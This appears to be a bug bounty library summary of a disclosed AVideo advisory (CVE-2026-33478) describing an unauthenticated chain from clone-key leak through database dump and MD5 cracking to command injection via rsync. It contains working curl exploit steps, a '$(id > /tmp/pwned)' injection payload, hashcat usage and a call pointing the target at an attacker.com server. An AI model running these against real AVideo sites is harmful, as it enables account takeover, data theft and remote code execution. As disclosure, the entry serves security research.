# AVideo Multi-Chain Attack: Unauthenticated Remote Code Execution via Clone Key Disclosure, Database Dump, and Command Injection

Unauthenticated AVideo attacker steals clone keys, triggers mysqldump to web-accessible path, cracks MD5 admin hashes, then injects OS commands via unsanitized videosDir in rsync.

- Payout: Research
- Severity: critical
- Program: AVideo
- Found by: offset, Marcono1234
- Disclosed: 2026-03-20
- CVE: CVE-2026-33478
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-687q-32c6-8x68
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-687q-32c6-8x68
- Tags: area:web domain:web impact:ato impact:data-leak impact:rce kind:research platform:ghsa sev:critical tech:php technique:chained vuln:access-control vuln:command-injection vuln:info-disclosure vuln:rce vuln:secrets-leak

**Target:** PHP web app CloneSite plugin JSON endpoints (clones.json.php, cloneServer.json.php, cloneClient.json.php)
**Root cause:** clones.json.php lacks authentication and leaks clone secret keys; cloneServer.json.php runs mysqldump into a web-accessible dir; passwords are unsalted MD5; cloneClient.json.php interpolates the remote videosDir into an rsync shell command without escaping.
**Steps:**
1. `curl -s 'http://target/plugin/CloneSite/clones.json.php' | jq '.data[0].key'` to steal clone key unauthenticated
2. `curl -s "http://target/plugin/CloneSite/cloneServer.json.php" --data "url=http://attacker.com&key=${CLONE_KEY}&useRsync=0"` to trigger mysqldump, read `.sqlFile` path
3. Download dump at `/videos/clones/<sqlFile>` and grep users table for admin MD5 hash
4. Crack MD5 with `hashcat -m 0 -a 0 rockyou.txt`
5. Login as admin, configure CloneSite pointing at attacker server returning videosDir containing `/tmp$(id > /tmp/pwned)`
6. rsync command executes injected `$(...)` via shell
**How found:** Source review of CloneSite plugin endpoints: noticed clones.json.php had no auth check, traced key into cloneServer.json.php mysqldump exec, then followed admin-controlled videosDir into cloneClient.json.php rsync exec.
**Exploitation:** Unauthenticated GET to clones.json.php yields clone keys; POST to cloneServer.json.php with stolen key runs mysqldump writing SQL to web-accessible /videos/clones/; dump downloaded, admin MD5 cracked, admin login; attacker-controlled clone server returns malicious videosDir which is interpolated into rsync exec, yielding arbitrary command execution as web user.
**Escalation:** Chain: info disclosure (keys) -> DB dump -> MD5 crack -> admin ATO -> command injection RCE; dump also exposes encrypted SSH/DB creds for lateral movement.
**Insight:** Clone/replication plugins are high-value: enumerate *.json.php endpoints in plugin dirs for missing auth, and trace any 'key' returned to where it gates privileged operations like DB dumps; then check whether remote-supplied config fields (paths, hosts) reach exec() unescaped.

## Proof of concept (copied exactly from the original report)

**Unauthenticated clone key disclosure via curl**

```
curl -s 'http://target/plugin/CloneSite/clones.json.php' | jq '.data[0].key'
# Output: "a1b2c3d4e5f6..."
```

**Trigger database dump with stolen key**

```
CLONE_KEY="a1b2c3d4e5f6..."
curl -s "http://target/plugin/CloneSite/cloneServer.json.php" \
  --data "url=http://attacker.com&key=${CLONE_KEY}&useRsync=0" | jq '.sqlFile'
# Output: "Clone_mysqlDump_1234567890.sql"
```

**Download dump and extract admin MD5 hash**

```
curl -s "http://target/videos/clones/Clone_mysqlDump_1234567890.sql" \
  | grep -A2 "INSERT INTO.*users" \
  | grep -oP "admin','[a-f0-9]{32}"
# Output: admin','5f4dcc3b5aa765d61d8327deb882cf99  (MD5 of "password")
```